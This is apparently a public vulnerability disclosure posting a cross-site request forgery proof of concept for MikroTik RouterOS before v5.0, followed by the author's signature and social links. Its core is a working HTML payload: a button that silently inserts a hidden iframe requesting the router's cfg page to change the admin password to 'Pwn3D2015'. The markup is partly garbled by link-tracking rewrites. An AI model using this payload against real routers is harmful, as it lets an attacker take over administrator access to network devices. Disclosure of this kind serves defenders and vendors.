MikroTik RouterOS Cross Site Request Forgery

[Aerosol]

MikroTik RouterOS < v5.0 Admin Password Change CSRF Vulnerability by
 @SymbianSyMoh</b></h1></br>
<input type="submit" value="Do it" onclick="var
btn=document.createElement('IFRAME');btn.src='
[url]http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok';btn.width='0';btn.height='0';btn.id='myIframe';document.body.appendChild(btn);alert('Pwned[/url]')
<http://s.bl-1.com/h/mPQQyg5?url=http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok%27;btn.width=%270%27;btn.height=%270%27;btn.id=%27myIframe%27;document.body.appendChild(btn);alert(%27Pwned%27)>
;"></br>
</body>
</html>


Video PoC:
[url]http://youtu.be/FHrvHJeLjLA[/url]
<http://s.bl-1.com/h/mPQQ237?url=http://youtu.be/FHrvHJeLjLA>

-- 
*Best Regards**,**,*


*Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist
& Bug Bounty Hunter.
LinkedIn
<http://s.bl-1.com/h/mPQQ6S9?url=https://www.linkedin.com/in/symbiansymoh>Curriculum
Vitae <http://s.bl-1.com/h/mPQQCrC?url=http://goo.gl/cNrVpL>
<http://s.bl-1.com/h/mPQQHFF?url=https://www.linkedin.com/in/symbiansymoh>
Facebook
<http://s.bl-1.com/h/mPQQNfH?url=https://fb.com/symbiansymoh>Twitter
<http://s.bl-1.com/h/mPQQS2K?url=https://twitter.com/symbiansymoh>

Source